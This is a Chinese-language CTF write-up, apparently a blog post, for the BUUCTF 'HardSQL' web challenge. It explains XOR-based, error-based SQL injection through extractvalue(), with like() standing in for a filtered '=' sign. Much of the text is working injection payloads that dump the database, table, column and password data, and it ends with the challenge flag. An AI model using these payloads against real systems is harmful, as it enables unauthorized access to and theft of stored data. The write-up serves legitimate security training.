1. 程式人生 > 實用技巧 >buuctf-web HardSQL 1

buuctf-web HardSQL 1

這或許就是sql最終章了吧

開啟頁面。

還是這種介面,只不過是加強了一下。哈哈哈。

然後我就還是萬能密碼admin' or '1' ='1 來了一手

之後的常規注入都是出現了這種頁面。有點兒意思嘍。

然後我再用聯合注入啥的,都不行了,好像是都被過濾掉了。

那我們就得想其他的途徑了。百度了一手。學到了web的騷操作。

這裡需要使用異或盲注,用’^'來連線函式,形成異或

mysql裡異或運算子為^ 或者 xor
兩個同為真的條件做異或,結果為假,兩個同為假的條件做異或,結果為假,一個條件為真,一個條件為假,結果為真,null與任何條件(真、假、null)做異或,結果都為null

我們還需要用到一個函式:extractvalue()

對XML文件進行查詢的函式

其實就是相當於我們熟悉的HTML檔案中用 <div><p><a>標籤查詢元素一樣

語法:extractvalue(目標xml文件,xml路徑)

好,那我們還構造第一個Pyload:

/check.php?username=44&password=1'^extractvalue(1,concat(0x7e,(select(database()))))%23

即可爆出資料庫。下一步,我們繼續爆表名。

不過這個網站的確是加強了,等號也被過濾掉了。這個時候我們就需要用'like'來代替等號

pyload:

check.php/?username=44&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23

然後爆出欄位名

pyload:

check.php/?username=44&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23

繼續,爆資料。

check.php/?username=44&password=1'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23

但是出來的flag卻是隻有一部分。然後還一個騷操作。就是利用left與right來進行字元拼接。

check.php/?username=44&password=1%27^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23
check.php/?username=44&password=1%27^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23

最後拼接成的flag為:flag{dc37dde2-8b7c-4a03-a912-b11b53dd5308}